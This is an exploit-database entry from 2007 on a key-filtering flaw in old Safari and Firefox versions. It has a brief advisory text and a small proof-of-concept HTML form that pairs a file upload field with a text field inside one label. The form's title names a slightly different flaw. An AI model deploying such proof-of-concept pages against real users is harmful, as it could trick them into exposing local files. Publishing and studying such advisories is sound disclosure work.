Apple Safari 1.x3.0.x Firefox 1.5.0.x2.0.x - JavaScript Multiple Fields Key Filterings

2007-12-01T00:00:00
ID EXPLOITPACK:B07941650D6E978C5F9454248C146CBB
Type exploitpack
Reporter Carl Hardwick
Modified 2007-12-01T00:00:00

Description

Apple Safari 1.x3.0.x Firefox 1.5.0.x2.0.x - JavaScript Multiple Fields Key Filterings

                                        
                                            source: https://www.securityfocus.com/bid/26669/info

Multiple web browsers are prone to a JavaScript key-filtering vulnerability because the browsers fail to securely handle keystroke input from users.

Exploiting this issue requires that users manually type sensitive data. This may require substantial typing from targeted users, so attackers will likely use keyboard-based games, blogs, or other similar pages to entice users to enter the required keyboard input. 

<html>
<title>Firefox 2.0.0.11 File Focus Stealing vulnerability</title>
<body>
<form>
<label>
<input type="file" name="foo" />
<br>
<input type="text" name="bar"  />
</label>
</body>
</html>